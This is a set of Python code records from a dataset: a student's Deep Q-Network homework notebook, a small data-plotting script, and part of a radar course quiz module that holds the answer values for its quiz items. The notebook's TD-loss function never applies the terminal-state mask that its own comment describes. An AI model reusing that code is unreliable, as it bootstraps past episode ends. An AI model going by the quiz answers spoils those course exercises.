samples.\n# * `len(exp_replay)` - returns number of elements stored in replay buffer.\n\n# In[19]:\n\n\nfrom replay_buffer import ReplayBuffer\nexp_replay = ReplayBuffer(10)\n\nfor _ in range(30):\n    exp_replay.add(env.reset(), env.action_space.sample(), 1.0, env.reset(), done=False)\n\nobs_batch, act_batch, reward_batch, next_obs_batch, is_done_batch = exp_replay.sample(5)\n\nassert len(exp_replay) == 10, \"experience replay size should be 10 because that's what maximum capacity is\"\n\n\n# In[20]:\n\n\ndef play_and_record(initial_state, agent, env, exp_replay, n_steps=1):\n    \"\"\"\n    Play the game for exactly n_steps, record every (s,a,r,s', done) to replay buffer. \n    Whenever game ends, add record with done=True and reset the game.\n    It is guaranteed that env has done=False when passed to this function.\n\n    PLEASE DO NOT RESET ENV UNLESS IT IS \"DONE\"\n\n    :returns: return sum of rewards over time and the state in which the env stays\n    \"\"\"\n    s = initial_state\n    sum_rewards = 0\n\n    # Play the game for n_steps as per instructions above\n    for step in range(n_steps):\n        q = agent.get_qvalues([s])\n        a = agent.sample_actions(q)[0]\n        sp, r, done, _ = env.step(a)\n        exp_replay.add(s, a, r, sp, done)\n        if done:\n            s = env.reset()\n        else:\n            s = sp\n\n    return sum_rewards, s\n\n\n# In[21]:\n\n\n# testing your code.\nexp_replay = ReplayBuffer(2000)\n\nstate = env.reset()\nplay_and_record(state, agent, env, exp_replay, n_steps=1000)\n\n# if you're using your own experience replay buffer, some of those tests may need correction.\n# just make sure you know what your code does\nassert len(exp_replay) == 1000,     \"play_and_record should have added exactly 1000 steps, \"     \"but instead added %i\" % len(exp_replay)\nis_dones = list(zip(*exp_replay._storage))[-1]\n\nassert 0 < np.mean(is_dones) < 0.1,     \"Please make sure you restart the game whenever it is 'done' and \"     \"record the is_done correctly into the buffer. Got %f is_done rate over \"     \"%i steps. [If you think it's your tough luck, just re-run the test]\" % (\n        np.mean(is_dones), len(exp_replay))\n\nfor _ in range(100):\n    obs_batch, act_batch, reward_batch, next_obs_batch, is_done_batch = exp_replay.sample(10)\n    assert obs_batch.shape == next_obs_batch.shape == (10,) + state_shape\n    assert act_batch.shape == (10,),         \"actions batch should have shape (10,) but is instead %s\" % str(act_batch.shape)\n    assert reward_batch.shape == (10,),         \"rewards batch should have shape (10,) but is instead %s\" % str(reward_batch.shape)\n    assert is_done_batch.shape == (10,),         \"is_done batch should have shape (10,) but is instead %s\" % str(is_done_batch.shape)\n    assert [int(i) in (0, 1) for i in is_dones],         \"is_done should be strictly True or False\"\n    assert [0 <= a < n_actions for a in act_batch], \"actions should be within [0, n_actions)\"\n\nprint(\"Well done!\")\n\n\n# ### Target networks\n# \n# We also employ the so called \"target network\" - a copy of neural network weights to be used for reference Q-values:\n# \n# The network itself is an exact copy of agent network, but it's parameters are not trained. Instead, they are moved here from agent's actual network every so often.\n# \n# $$ Q_{reference}(s,a) = r + \\gamma \\cdot \\max _{a'} Q_{target}(s',a') $$\n# \n# ![img](https://github.com/yandexdataschool/Practical_RL/raw/master/yet_another_week/_resource/target_net.png)\n\n# In[22]:\n\n\ntarget_network = DQNAgent(agent.state_shape, agent.n_actions, epsilon=0.5).to(device)\n# This is how you can load weights from agent into target network\ntarget_network.load_state_dict(agent.state_dict())\n\n\n# ### Learning with... Q-learning\n# Here we write a function similar to `agent.update` from tabular q-learning.\n\n# Compute Q-learning TD error:\n# \n# $$ L = { 1 \\over N} \\sum_i [ Q_{\\theta}(s,a) - Q_{reference}(s,a) ] ^2 $$\n# \n# With Q-reference defined as\n# \n# $$ Q_{reference}(s,a) = r(s,a) + \\gamma \\cdot max_{a'} Q_{target}(s', a') $$\n# \n# Where\n# * $Q_{target}(s',a')$ denotes Q-value of next state and next action predicted by __target_network__\n# * $s, a, r, s'$ are current state, action, reward and next state respectively\n# * $\\gamma$ is a discount factor defined two cells above.\n# \n# \n# __Note 1:__ there's an example input below. Feel free to experiment with it before you write the function.\n# \n# __Note 2:__ compute_td_loss is a source of 99% of bugs in this homework. If reward doesn't improve, it often helps to go through it line by line [with a rubber duck](https://rubberduckdebugging.com/).\n# \n# **Double DQN (+2 pts)**\n# \n# $$ Q_{reference}(s,a) = r(s, a) + \\gamma \\cdot\n# Q_{target}(s',argmax_{a'}Q_\\theta(s', a')) $$\n\n# In[35]:\n\n\ndef compute_td_loss(states, actions, rewards, next_states, is_done,\n                    agent, target_network,\n                    gamma=0.99,\n                    check_shapes=False,\n                    device=device):\n    \"\"\" Compute td loss using torch operations only. Use the formulae above. \"\"\"\n    states = torch.tensor(states, device=device, dtype=torch.float32)    # shape: [batch_size, *state_shape]\n    actions = torch.tensor(actions, device=device, dtype=torch.int64)    # shape: [batch_size]\n    rewards = torch.tensor(rewards, device=device, dtype=torch.float32)  # shape: [batch_size]\n    # shape: [batch_size, *state_shape]\n    next_states = torch.tensor(next_states, device=device, dtype=torch.float)\n    is_done = torch.tensor(\n        is_done.astype('float32'),\n        device=device,\n        dtype=torch.float32,\n    )  # shape: [batch_size]\n    is_not_done = 1 - is_done\n\n    # get q-values for all actions in current states\n    predicted_qvalues = agent(states)  # shape: [batch_size, n_actions]\n    double_dqn_agent_next_actions = agent(next_states).detach().argmax(dim=1, keepdim=True)\n\n    # compute q-values for all actions in next states\n    predicted_next_qvalues = target_network(next_states)  # shape: [batch_size, n_actions]\n    \n    # select q-values for chosen actions\n    predicted_qvalues_for_actions = predicted_qvalues[range(len(actions)), actions]  # shape: [batch_size]\n\n    # compute V*(next_states) using predicted next q-values\n    next_state_values = torch.gather(predicted_next_qvalues, dim=1,\n                                     index=double_dqn_agent_next_actions).detach().flatten()\n\n    assert next_state_values.dim() == 1 and next_state_values.shape[0] == states.shape[0],         \"must predict one value per state\"\n\n    # compute \"target q-values\" for loss - it's what's inside square parentheses in the above formula.\n    # at the last state use the simplified formula: Q(s,a) = r(s,a) since s' doesn't exist\n    # you can multiply next state values by is_not_done to achieve this.\n    target_qvalues_for_actions = rewards + gamma * next_state_values\n\n    # mean squared error loss to minimize\n    loss = torch.mean((predicted_qvalues_for_actions - target_qvalues_for_actions.detach()) ** 2)\n\n    if check_shapes:\n        assert predicted_next_qvalues.data.dim() == 2,             \"make sure you predicted q-values for all actions in next state\"\n        assert next_state_values.data.dim() == 1,             \"make sure you computed V(s') as maximum over just the actions axis and not all axes\"\n        assert target_qvalues_for_actions.data.dim() == 1,             \"there's something wrong with target q-values, they must be a vector\"\n\n    return loss\n\n\n# Sanity checks\n\n# In[36]:\n\n\nobs_batch, act_batch, reward_batch, next_obs_batch, is_done_batch = exp_replay.sample(10)\n\nloss = compute_td_loss(obs_batch, act_batch, reward_batch, next_obs_batch, is_done_batch,\n                       agent, target_network,\n                       gamma=0.99, check_shapes=True)\nloss.backward()\n\nassert loss.requires_grad and tuple(loss.data.size()) == (),     \"you must return scalar loss - mean over batch\"\nassert np.any(next(agent.parameters()).grad.data.cpu().numpy() != 0),     \"loss must be differentiable w.r.t. network weights\"\nassert np.all(next(target_network.parameters()).grad is None),     \"target network should not have grads\"\n\n\n# ## Main loop (3 pts)\n# \n# **If deadline is tonight and it has not converged:** It is ok. Send the notebook today and when it converges send it again.\n# If the code is exactly the same points will not be discounted.\n# \n# It's time to put everything together and see if it learns anything.\n\n# In[37]:\n\n\nfrom tqdm import trange\nfrom IPython.display import clear_output\nimport matplotlib.pyplot as plt\n\n\n# In[38]:\n\n\nseed = int(1e9+7)\nrandom.seed(seed)\nnp.random.seed(seed)\ntorch.manual_seed(seed)\n\n\n# In[39]:\n\n\nenv = make_env(seed)\nstate_shape = env.observation_space.shape\nn_actions = env.action_space.n\nstate = env.reset()\n\nagent = DQNAgent(state_shape, n_actions, epsilon=1).to(device)\ntarget_network = DQNAgent(state_shape, n_actions).to(device)\ntarget_network.load_state_dict(agent.state_dict())\n\n\n# Buffer of size $10^4$ fits into 5 Gb RAM.\n# \n# Larger sizes ($10^5$ and $10^6$ are common) can be used. It can improve the learning, but $10^4$ is quite enough. $10^2$ will probably fail learning.\n\n# In[40]:\n\n\nREPLAY_BUFFER_SIZE = 10**4\nN_STEPS = 100\n\nexp_replay = ReplayBuffer(REPLAY_BUFFER_SIZE)\nfor i in range(REPLAY_BUFFER_SIZE // N_STEPS):\n    if not utils.is_enough_ram(min_available_gb=0.1):\n        print(\"\"\"\n            Less than 100 Mb RAM available. \n            Make sure the buffer size in not too huge.\n            Also check, maybe other processes consume RAM heavily.\n            \"\"\"\n             )\n        break\n    play_and_record(state, agent, env, exp_replay, n_steps=N_STEPS)\n    if len(exp_replay) == REPLAY_BUFFER_SIZE:\n        break\nprint(len(exp_replay))\n\n\n# In[41]:\n\n\ntimesteps_per_epoch = 1\nbatch_size = 16\ntotal_steps = 3 * 10**6\ndecay_steps = 10**6\n\nopt = torch.optim.Adam(agent.parameters(), lr=1e-4)\n\ninit_epsilon = 1\nfinal_epsilon = 0.1\n\nloss_freq = 50\nrefresh_target_network_freq = 5000\neval_freq = 5000\n\nmax_grad_norm = 50\n\nn_lives = 5\n\n\n# In[42]:\n\n\nmean_rw_history = []\ntd_loss_history = []\ngrad_norm_history = []\ninitial_state_v_history = []\nstep = 0\n\n\n# In[43]:\n\n\nimport time\n\ndef wait_for_keyboard_interrupt():\n    try:\n        while True:\n            time.sleep(1)\n    except KeyboardInterrupt:\n        pass\n\n\n# In[47]:\n\n\nstate_dict = torch.load('model-correct-argmax.pth')\nagent.load_state_dict(state_dict['model'])\nopt.load_state_dict(state_dict['opt'])\nstep = state_dict['step']\ninit_epsilon = agent.epsilon\n\n\n# In[48]:\n\n\nstate = env.reset()\nwith trange(step, total_steps + 1) as progress_bar:\n    for step in progress_bar:\n        if not utils.is_enough_ram():\n            print('less that 100 Mb RAM available, freezing')\n            print('make sure everything is ok and use KeyboardInterrupt to continue')\n            wait_for_keyboard_interrupt()\n            \n        agent.epsilon = utils.linear_decay(init_epsilon, final_epsilon, step, decay_steps)\n\n        # play\n        _, state = play_and_record(state, agent, env, exp_replay, timesteps_per_epoch)\n\n        # train\n        s, a, rw, ns, done = exp_replay.sample(batch_size)\n\n        loss = compute_td_loss(s, a, rw, ns, done, agent, target_network)\n\n        loss.backward()\n        grad_norm = nn.utils.clip_grad_norm_(agent.parameters(), max_grad_norm)\n        opt.step()\n        opt.zero_grad()\n\n        if step % loss_freq == 0:\n            td_loss_history.append(loss.data.cpu().item())\n            grad_norm_history.append(grad_norm)\n\n        if step % refresh_target_network_freq == 0:\n            # Load agent weights into target_network\n            target_network.load_state_dict(agent.state_dict())\n\n        if step % eval_freq == 0:\n            mean_rw_history.append(evaluate(\n                make_env(clip_rewards=True, seed=step), agent, n_games=3 * n_lives, greedy=True)\n            )\n            initial_state_q_values = agent.get_qvalues(\n                [make_env(seed=step).reset()]\n            )\n            initial_state_v_history.append(np.max(initial_state_q_values))\n\n            clear_output(True)\n            print(\"buffer size = %i, epsilon = %.5f\" %\n                (len(exp_replay), agent.epsilon))\n\n            plt.figure(figsize=[16, 9])\n\n            plt.subplot(2, 2, 1)\n            plt.title(\"Mean reward per life\")\n            plt.plot(mean_rw_history)\n            plt.grid()\n\n            assert not np.isnan(td_loss_history[-1])\n            plt.subplot(2, 2, 2)\n            plt.title(\"TD loss history (smoothened)\")\n            plt.plot(utils.smoothen(td_loss_history))\n            plt.grid()\n\n            plt.subplot(2, 2, 3)\n            plt.title(\"Initial state V\")\n            plt.plot(initial_state_v_history)\n            plt.grid()\n\n            plt.subplot(2, 2, 4)\n            plt.title(\"Grad norm history (smoothened)\")\n            plt.plot(utils.smoothen(grad_norm_history))\n            plt.grid()\n\n            plt.show()\n\n\n# Agent is evaluated for 1 life, not for a whole episode of 5 lives. Rewards in evaluation are also truncated. Cuz this is what environment the agent is learning in and in this way mean rewards per life can be compared with initial state value\n# \n# **The goal is to get 15 points in the real env**. So 3 or better 4 points in the preprocessed one will probably be enough. You can interrupt learning then.\n\n# Final scoring is done on a whole episode with all 5 lives.\n\n# In[49]:\n\n\ntorch.save({'model': agent.state_dict(),\n            'opt': opt.state_dict(),\n            'step': step}, 'model-correct-argmax.pth')\n\n\n# In[51]:\n\n\nfinal_score = evaluate(\n  make_env(clip_rewards=False, seed=9),\n    agent, n_games=30, greedy=True, t_max=10 * 1000\n) * n_lives\nprint('final score:', final_score)\nassert final_score >= 15, 'not as cool as DQN can'\nprint('Cool!')\n\n\n# ## How to interpret plots:\n# \n# This aint no supervised learning so don't expect anything to improve monotonously. \n# * **TD loss** is the MSE between agent's current Q-values and target Q-values. It may slowly increase or decrease, it's ok. The \"not ok\" behavior includes going NaN or stayng at exactly zero before agent has perfect performance.\n# * **grad norm** just shows the intensivity of training. Not ok is growing to values of about 100 (or maybe even 50) though it depends on network architecture.\n# * **mean reward** is the expected sum of r(s,a) agent gets over the full game session. It will oscillate, but on average it should get higher over time (after a few thousand iterations...). \n#  * In basic q-learning implementation it takes about 40k steps to \"warm up\" agent before it starts to get better.\n# * **Initial state V** is the expected discounted reward for episode in the oppinion of the agent. It should behave more smoothly than **mean reward**. It should get higher over time but sometimes can experience drawdowns because of the agaent's overestimates.\n# * **buffer size** - this one is simple. It should go up and cap at max size.\n# * **epsilon** - agent's willingness to explore. If you see that agent's already at 0.01 epsilon before it's average reward is above 0 - it means you need to increase epsilon. Set it back to some 0.2 - 0.5 and decrease the pace at which it goes down.\n# * Smoothing of plots is done with a gaussian kernel\n# \n# At first your agent will lose quickly. Then it will learn to suck less and at least hit the ball a few times before it loses. Finally it will learn to actually score points.\n# \n# **Training will take time.** A lot of it actually. Probably you will not see any improvment during first **150k** time steps (note that by default in this notebook agent is evaluated every 5000 time steps).\n# \n# But hey, long training time isn't _that_ bad:\n# ![img](https://github.com/yandexdataschool/Practical_RL/raw/master/yet_another_week/_resource/training.png)\n\n# ## About hyperparameters:\n# \n# The task has something in common with supervised learning: loss is optimized through the buffer (instead of Train dataset). But the distribution of states and actions in the buffer **is not stationary** and depends on the policy that generated it. It can even happen that the mean TD error across the buffer is very low but the performance is extremely poor (imagine the agent collecting data to the buffer always manages to avoid the ball).\n# \n# * Total timesteps and training time: It seems to be so huge, but actually it is normal for RL.\n# \n# * $\\epsilon$ decay shedule was taken from the original paper and is like traditional for epsilon-greedy policies. At the beginning of the training the agent's greedy policy is poor so many random actions should be taken.\n# \n# * Optimizer: In the original paper RMSProp was used (they did not have Adam in 2013) and it can work not worse than Adam. For us Adam was default and it worked.\n# \n# * lr: $10^{-3}$ would probably be too huge\n# \n# * batch size: This one can be very important: if it is too small the agent can fail to learn. Huge batch takes more time to process. If batch of size 8 can not be processed on the hardware you use take 2 (or even 4) batches of size 4, divide the loss on them by 2 (or 4) and make optimization step after both backward() calls in torch.\n# \n# * target network update frequency: has something in common with learning rate. Too frequent updates can lead to divergence. Too rare can lead to slow leraning. For millions of total timesteps thousands of inner steps seem ok. One iteration of target network updating is an iteration of the (this time approximate) $\\gamma$-compression that stands behind Q-learning. The more inner steps it makes the more accurate is the compression.\n# * max_grad_norm - just huge enough. In torch clip_grad_norm also evaluates the norm before clipping and it can be convenient for logging.\n\n# ### Video\n\n# In[54]:\n\n\n# Record sessions\n\nimport gym.wrappers\n\nwith gym.wrappers.Monitor(make_env(), directory=\"videos\", force=True) as env_monitor:\n    sessions = [evaluate(env_monitor, agent, n_games=n_lives, greedy=True) for _ in range(10)]\n\n\n# In[55]:\n\n\n# Show video. This may not work in some setups. If it doesn't\n# work for you, you can download the videos and view them locally.\n\nfrom pathlib import Path\nfrom base64 import b64encode\nfrom IPython.display import HTML\n\nvideo_paths = sorted([s for s in Path('videos').iterdir() if s.suffix == '.mp4'])\nvideo_path = video_paths[-1]  # You can also try other indices\n\nif 'google.colab' in sys.modules:\n    # https://stackoverflow.com/a/57378660/1214547\n    with video_path.open('rb') as fp:\n        mp4 = fp.read()\n    data_url = 'data:video/mp4;base64,' + b64encode(mp4).decode()\nelse:\n    data_url = str(video_path)\n\nHTML(\"\"\"\n<video width=\"640\" height=\"480\" controls>\n  <source src=\"{}\" type=\"video/mp4\">\n</video>\n\"\"\".format(data_url))\n\n\n# ## Let's have a closer look at this.\n# \n# If average episode score is below 200 using all 5 lives, then probably DQN has not converged fully. But anyway let's make a more complete record of an episode.\n\n# In[ ]:\n\n\neval_env = make_env(clip_rewards=False)\nrecord = utils.play_and_log_episode(eval_env, agent)\nprint('total reward for life:', np.sum(record['rewards']))\nfor key in record:\n    print(key)\n\n\n# In[ ]:\n\n\nfig = plt.figure(figsize=(5, 5))\nax = fig.add_subplot(1, 1, 1)\n\nax.scatter(record['v_mc'], record['v_agent'])\nax.plot(sorted(record['v_mc']), sorted(record['v_mc']),\n       'black', linestyle='--', label='x=y')\n\nax.grid()\nax.legend()\nax.set_title('State Value Estimates')\nax.set_xlabel('Monte-Carlo')\nax.set_ylabel('Agent')\n\nplt.show()\n\n\n# $\\hat V_{Monte-Carlo}(s_t) = \\sum_{\\tau=0}^{episode~end} \\gamma^{\\tau-t}r_t$\n\n# Is there a big bias? It's ok, anyway it works.\n\n# ## Bonus I (2 pts)\n\n# **1.** Plot several (say 3) states with high and low spreads of Q estimate by actions i.e.\n# $$\\max_a \\hat Q(s,a) - \\min_a \\hat Q(s,a)\\$$\n# Please take those states from different episodes to make sure that the states are really different.\n# \n# What should high and low spread mean at least in the world of perfect Q-fucntions?\n# \n# Comment the states you like most.\n# \n# **2.** Plot several (say 3) states with high td-error and several states with high values of\n# $$| \\hat V_{Monte-Carlo}(s) - \\hat V_{agent}(s)|,$$ \n# $$\\hat V_{agent}(s)=\\max_a \\hat Q(s,a).$$ Please take those states from different episodes to make sure that the states are really different. From what part (i.e. beginning, middle, end) of an episode did these states come from?\n# \n# Comment the states you like most.\n\n# In[ ]:\n\n\nfrom utils import play_and_log_episode, img_by_obs\n\n<YOUR CODE>\n\n\n# ## Bonus II (1-5 pts). Get High Score!\n# \n# 1 point to you for each 50 points of your agent. Truncated by 5 points. Starting with 50 points, **not** 50 + threshold.\n# \n# One way is to train for several days and use heavier hardware (why not actually).\n# \n# Another way is to apply modifications (see **Bonus III**).\n\n# ## Bonus III (2+ pts). Apply modifications to DQN.\n# \n# For inspiration see [Rainbow](https://arxiv.org/abs/1710.02298) - a version of q-learning that combines lots of them.\n# \n# Points for Bonus II and Bonus III fully stack. So if modified agent gets score 250+ you get 5 pts for Bonus II + points for modifications. If the final score is 40 then you get the points for modifications.\n# \n# \n# Some modifications:\n# * [Prioritized experience replay](https://arxiv.org/abs/1511.05952) (5 pts for your own implementation, 3 pts for using a ready one)\n# * [double q-learning](https://arxiv.org/abs/1509.06461) (2 pts)\n# * [dueling q-learning](https://arxiv.org/abs/1511.06581) (2 pts)\n# * multi-step heuristics (see [Rainbow](https://arxiv.org/abs/1710.02298)) (3 pts)\n# * [Noisy Nets](https://arxiv.org/abs/1706.10295) (3 pts)\n# * [distributional RL](https://arxiv.org/abs/1707.06887)(distributional and distributed stand for different things here) (5 pts)\n# * Other modifications (2+ pts depending on complexity)\n\n# ## Bonus IV (4+ pts). Distributed RL.\n# \n# Solve the task in a distributed way. It can strongly speed up learning. See [article](https://arxiv.org/pdf/1602.01783.pdf) or some guides.\n\n# **As usual bonus points for all the tasks fully stack.**\n\n# In[ ]:\n\n\n\n\n", "meta": {"hexsha": "a3c65dfb50f60fe76970fc2381e39f41492e852f", "size": 37592, "ext": "py", "lang": "Python", "max_stars_repo_path": "week04_approx_rl/homework_pytorch_main.py", "max_stars_repo_name": "mikita-zhuryk/Practical_RL", "max_stars_repo_head_hexsha": "4726da9d471f9a4f59f745a009796c2fbbe86e58", "max_stars_repo_licenses": ["Unlicense"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "week04_approx_rl/homework_pytorch_main.py", "max_issues_repo_name": "mikita-zhuryk/Practical_RL", "max_issues_repo_head_hexsha": "4726da9d471f9a4f59f745a009796c2fbbe86e58", "max_issues_repo_licenses": ["Unlicense"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "week04_approx_rl/homework_pytorch_main.py", "max_forks_repo_name": "mikita-zhuryk/Practical_RL", "max_forks_repo_head_hexsha": "4726da9d471f9a4f59f745a009796c2fbbe86e58", "max_forks_repo_licenses": ["Unlicense"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 36.6393762183, "max_line_length": 443, "alphanum_fraction": 0.6843477336, "include": true, "reason": "import numpy", "num_tokens": 9547, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.3886180125441397, "lm_q2_score": 0.19193279106941588, "lm_q1q2_score": 0.07458853980744601}}
{"text": "# used for manipulating directory paths\nimport os\n\n# Scientific and vector computation for python\nimport numpy as np\n\n# Plotting library\nfrom matplotlib import pyplot\nfrom mpl_toolkits.mplot3d import Axes3D  # needed to plot 3-D surfaces\n\n\ndef plotData(x, y):\n    \"\"\"\n    Plots the data points x and y into a new figure. Plots the data\n    points and gives the figure axes labels of population and profit.\n\n    Parameters\n    ----------\n    x : array_like\n        Data point values for x-axis.\n\n    y : array_like\n        Data point values for y-axis. Note x and y should have the same size.\n\n    Instructions\n    ------------\n    Plot the training data into a figure using the \"figure\" and \"plot\"\n    functions. Set the axes labels using the \"xlabel\" and \"ylabel\" functions.\n    Assume the population and revenue data have been passed in as the x\n    and y arguments of this function.\n\n    Hint\n    ----\n    You can use the 'ro' option with plot to have the markers\n    appear as red circles. Furthermore, you can make the markers larger by\n    using plot(..., 'ro', ms=10), where `ms` refers to marker size. You\n    can also set the marker edge color using the `mec` property.\n    \"\"\"\n\n    fig = pyplot.figure()\n\n    pyplot.plot(x, y, 'ro', ms=10, mec='k')\n    pyplot.xlabel(\"Population in 10000s\")\n    pyplot.ylabel(\"Revenue in 10000$\")\n    pyplot.show()\n\n\nif __name__ == '__main__':\n    data = np.loadtxt(os.path.join(\"/home/thelichking/Desktop/ml-coursera-python-assignments/Exercise1/Data\",\n                                   \"ex1data1.txt\"), delimiter=',')\n    x, y = data[:, 0], data[:, 1]\n    m = y.size\n\n    plotData(x, y)\n", "meta": {"hexsha": "379bbad2fb83d418b2705dce647177edfe4455b7", "size": 1633, "ext": "py", "lang": "Python", "max_stars_repo_path": "exercises/week1/plot_data.py", "max_stars_repo_name": "Imipenem/MachineLearningIntroCourse", "max_stars_repo_head_hexsha": "330d511a004c5f312b4370e1999ed0c2aa47ddf7", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "exercises/week1/plot_data.py", "max_issues_repo_name": "Imipenem/MachineLearningIntroCourse", "max_issues_repo_head_hexsha": "330d511a004c5f312b4370e1999ed0c2aa47ddf7", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "exercises/week1/plot_data.py", "max_forks_repo_name": "Imipenem/MachineLearningIntroCourse", "max_forks_repo_head_hexsha": "330d511a004c5f312b4370e1999ed0c2aa47ddf7", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 29.6909090909, "max_line_length": 109, "alphanum_fraction": 0.6540110227, "include": true, "reason": "import numpy", "num_tokens": 406, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4416730203630096, "lm_q2_score": 0.16885695632426873, "lm_q1q2_score": 0.07457956190904456}}
{"text": "\"\"\"\nIntroduction to Radar Course\n\nAuthors\n=======\n\nZachary Chance, Robert Freking, Victoria Helus\nMIT Lincoln Laboratory\nLexington, MA 02421\n\nDistribution Statement\n======================\n\nDISTRIBUTION STATEMENT A. Approved for public release. Distribution is unlimited.\n\nThis material is based upon work supported by the United States Air Force under Air \nForce Contract No. FA8702-15-D-0001. Any opinions, findings, conclusions or \nrecommendations expressed in this material are those of the author(s) and do not \nnecessarily reflect the views of the United States Air Force.\n\n\u00a9 2021 Massachusetts Institute of Technology.\n\nThe software/firmware is provided to you on an As-Is basis\n\nDelivered to the U.S. Government with Unlimited Rights, as defined in DFARS Part \n252.227-7013 or 7014 (Feb 2014). Notwithstanding any copyright notice, U.S. \nGovernment rights in this work are defined by DFARS 252.227-7013 or \nDFARS 252.227-7014 as detailed above. Use of this work other than as specifically \nauthorized by the U.S. Government may violate any copyrights that exist in this work.\n\nRAMS ID: 1016938\n\"\"\"\n\nfrom IPython.display import display\nimport ipywidgets as wdg\nimport math\nimport numpy as np\nfrom rad.const import k, c\nimport rad.radar as rd\n\n# jupyter_intro\n\n# Simple quiz with scalar value\ndef new_quiz(prompt, val, abs_tol=None, rel_tol=1E-2):\n    \"\"\"\n    Generate quiz answer box.\n    \n    Inputs:\n    - prompt [str]: Question prompt\n    - val [float]: True answer\n    - abs_tol [float]: Absolute tolerance; if None, uses rel_tol\n    - rel_tol [float]: Relative tolerance\n    \n    Outputs:\n    (none)\n    \"\"\"\n    title = wdg.HTML(value = f\"<p><font color='black'>{prompt}</p>\")\n    answer = wdg.FloatText()\n    submit = wdg.Button(description=\"Submit\")\n    result = wdg.HTML(value = f\"<b><font color='black'>Ready</b>\")\n    ansbox = wdg.VBox([wdg.HBox([title, answer, result]), submit])\n    display(ansbox)\n\n    def check_ans(b):\n        if abs_tol and (abs(answer.value - val) < abs_tol):\n            result.value = f\"<b><font color='green'>Correct!</b>\"\n        elif rel_tol and ((abs(answer.value - val)/abs(val)) < rel_tol):\n            result.value = f\"<b><font color='green'>Correct!</b>\"\n        else:\n            result.value = f\"<b><font color='red'>Incorrect.</b>\"\n        \n    submit.on_click(check_ans)\n\n#-------Lab 1.1: Introduction to Labs-------\n    \n# Q1.1.1\ndef quiz_1_1_1():\n    prompt = 'Enter answer:'\n    val = 1.0\n    tol = 0.01\n    new_quiz(prompt, val, rel_tol=tol)\n\n# Q1.1.2\ndef quiz_1_1_2():\n    prompt = 'Enter answer:'\n    val = (math.log10(2.72**3) + math.cos(4*math.pi/7))\n    tol = 0.01\n    new_quiz(prompt, val, rel_tol=tol)\n    \n# Q1.1.3\ndef quiz_1_1_3():\n    prompt = 'Enter answer:'\n    val = 7.76E4/5.1E-3\n    tol = 0.01\n    new_quiz(prompt, val, rel_tol=tol)\n    \n# Q1.1.4a\ndef quiz_1_1_4a():\n    prompt = 'Enter answer (in dB):'\n    val = rd.to_db(1.5E5)\n    tol = 0.01\n    new_quiz(prompt, val, rel_tol=tol)\n    \n# Q1.1.4b\ndef quiz_1_1_4b():\n    prompt = 'Enter answer (in dB):'\n    val = rd.to_db(7.2E-7)\n    tol = 0.01\n    new_quiz(prompt, val, rel_tol=tol) \n\n# Q1.1.5a\ndef quiz_1_1_5a():\n    prompt = 'Enter answer:'\n    val = rd.from_db(51.2)\n    tol = 0.01\n    new_quiz(prompt, val, rel_tol=tol)\n    \n# Q1.1.5b\ndef quiz_1_1_5b():\n    prompt = 'Enter answer:'\n    val = rd.from_db(-20.1)\n    tol = 0.01\n    new_quiz(prompt, val, rel_tol=tol) \n    \n# Q1.1.6\ndef quiz_1_1_6():\n    prompt = 'Enter answer (in dB):'\n    val = rd.to_db(3.7**5)\n    tol = 0.01\n    new_quiz(prompt, val, rel_tol=tol)\n    \n# Q1.1.7a\ndef quiz_1_1_7a():\n    prompt = 'Enter answer:'\n    val = 3\n    tol = 0.01\n    new_quiz(prompt, val, rel_tol=tol)\n    \n# Q1.1.7b\ndef quiz_1_1_7b():\n    prompt = 'Enter answer (in s, within \u00b10.05 s):'\n    val = 0.5\n    tol = 0.05\n    new_quiz(prompt, val, abs_tol=tol)\n    \n# Q1.1.7c\ndef quiz_1_1_7c():\n    prompt = 'Enter answer (in Hz, within \u00b10.2 Hz):'\n    val = 2\n    tol = 0.2\n    new_quiz(prompt, val, abs_tol=tol) \n    \n#-------Lab 1.2: Introduction to Radar-------\n    \n# Q1.2.1a\ndef quiz_1_2_1a():\n    prompt = 'Enter wavelength (in m):'\n    val = rd.wavelen(1000, propvel=1000)\n    tol = 0.01\n    new_quiz(prompt, val, rel_tol=tol)\n    \n# Q1.2.1b\ndef quiz_1_2_1b():\n    prompt = 'Enter wavelength (in m):'\n    val = rd.wavelen(1000, propvel=2000)\n    tol = 0.01\n    new_quiz(prompt, val, rel_tol=tol)    \n\n# Q1.2.1c\ndef quiz_1_2_1c():\n    prompt = 'Enter wavelength (in m):'\n    val = rd.wavelen(500, propvel=1000)\n    tol = 0.01\n    new_quiz(prompt, val, rel_tol=tol)    \n    \n# Q1.2.2a\ndef quiz_1_2_2a():\n    prompt = 'Enter wavelength (in m):'\n    val = rd.wavelen(500E6, propvel=3E8)\n    tol = 0.01\n    new_quiz(prompt, val, rel_tol=tol)\n    \n# Q1.2.2b\ndef quiz_1_2_2b():\n    prompt = 'Enter frequency (in Hz):'\n    val = 1500/5\n    tol = 0.01\n    new_quiz(prompt, val, rel_tol=tol)\n    \n# Q1.2.3a\ndef quiz_1_2_3a():\n    prompt = 'Enter time (in ms):'\n    val = math.sqrt(75**2 + 80**2)\n    tol = 3\n    new_quiz(prompt, val, abs_tol=tol)\n    \n# Q1.2.3b\ndef quiz_1_2_3b():\n    prompt = 'Enter time (in ms):'\n    val = 2*math.sqrt(75**2 + 80**2)\n    tol = 3\n    new_quiz(prompt, val, abs_tol=tol)\n    \n# Q1.2.4a\ndef quiz_1_2_4a():\n    prompt = 'Enter time (in s):'\n    val = 2*1000E3/3E8\n    tol = 0.01\n    new_quiz(prompt, val, rel_tol=tol)\n\n# 